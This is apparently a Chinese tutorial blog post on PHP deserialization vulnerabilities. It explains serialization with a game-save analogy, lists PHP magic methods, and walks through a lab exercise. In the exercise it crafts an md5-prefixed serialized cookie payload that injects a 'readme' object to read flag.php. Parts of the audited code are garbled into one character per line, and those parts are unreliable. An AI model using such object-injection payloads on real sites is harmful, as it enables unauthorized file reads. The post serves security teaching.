unserialize反序列化漏洞(小宇特详解)
通俗的解释一下序列化和反序列化
咱们小时候都喜欢玩游戏,特别是一些单机游戏,这些单机游戏都会有存档这个功能。例如罪恶都市这种游戏都有完美存档,你在网上下载的时候会发现像这些存档都特别的小,大部分是几十kb,而游戏却很大。
存档中都是一些关键性的参数:等级 武器 血量等,游戏的存档只对当前游戏
序列化:游戏的存档=>把当前的状态存储住
反序列化:游戏的读档=>从序列化的值中恢复当时状态
特点:游戏的档只能给当前游戏用
这里了解一下类和对象
类:实现某种功能的一个集合
对象:特殊的数据类型(这里不必太过深入的了解,因为可能会适得其反)
序列化:游戏存档
1.确立是什么游戏(序列化和类是在一起的)
类:游戏的本体
序列化:游戏的存储数据(保存当前的状态)
反序列化的时候(把序列化后的字符串放入类进行运行)
实战演示序列化和反序列化
这里先了解一下几个函数
第一个函数能够高亮显示文件内容
这里补充一个查看当前文件路径的办法,使用
(__FLIE__)
这里直接写入一段序列化的php
将test=‘123’进行了序列化
这里O是对象的意思表示变量类型,7是类名的长度为7,调用了类名为chybeta的类,1为属性数量
{属性类型,属性名长度,属性名,属性值类型,属性值长度,属性值内容}
s为字符串,4为长度,test为名称,s为字符串,3为长度,123为内容
这里补充一下
类里面可以放变量和常量还有函数
类里面的函数叫做方法
这里有个特殊的方法叫做魔术方法,魔术方法就是满足条件就触发,以下是常用的魔术方法(这里记得和魔术引号做区分)
- __construct(),类的构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会调用的。
- __destruct(),类的析构函数,当对象被销毁是会自动调用。
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __sleep(),执行serialize()时,先会调用这个函数
- __wakeup(),执行unserialize()时,先会调用这个函数
- __toString(),类被当成字符串时的回应方法
- __invoke(),调用函数的方式调用一个对象时的回应方法
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
这里进行反序列化
靶场练习(增加理解)
反序列化漏洞
危害在与魔术方法里面写了什么。
找到一个可以操作的变量$this->xxxx;
找到一个反序列化的地方(会执行序列化的点)
我们要传参控制那个变量并且触发魔术方法。
这里想进行序列化
$s = new readme();
$s ->source = ‘flag.php’;
serialize($s);
这里还有一段代码
<?php foreach($todos as $todo):?>//将todos的东西放到todo中这里todos是数组<li><?=$todo?></li>//这里的<?=$todo?>使用了缩写相当于<?php echo $todo?>
<?php endforeach;?>
这段代码的作用是数组遍历
<?=$todo?>这里在过滤php的时候可以使用这里直接将变量$s变成数组
进行序列化
对接下来的代码进行审计
//
t
o
d
o
s
=
[
]
;
i
f
(
i
s
s
e
t
(
todos = []; if(isset(
todos=[];if(isset(_COOKIE[‘todos’])){
$c = $_COOKIE[‘todos’];//接收cookie传参todos
h
=
s
u
b
s
t
r
(
h = substr(
h=substr(c, 0, 32);//substr(要截取的内容,从哪里截,截取到哪里)
m
=
s
u
b
s
t
r
(
m = substr(
m=substr(c, 32);//从32位开始截截到最后
if(md5($m) === $h){
t
o
d
o
s
=
u
n
s
e
r
i
a
l
i
z
e
(
todos = unserialize(
todos=unserialize(m);
}
}
$h = 传参todos前32位
m
=
传
参
t
o
d
o
s
32
位
后
m
d
5
(
m = 传参todos32位后 md5(
m=传参todos32位后md5(m)===$h
c
=
m
d
5
(
c = md5(
c=md5(m).$m
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:“readme”:1:{s:6:“source”;s:8:“flag.php”;}}
这里就剩下最后一步了,进行抓包。
写上cookie并且将todos进行url编码。得到flag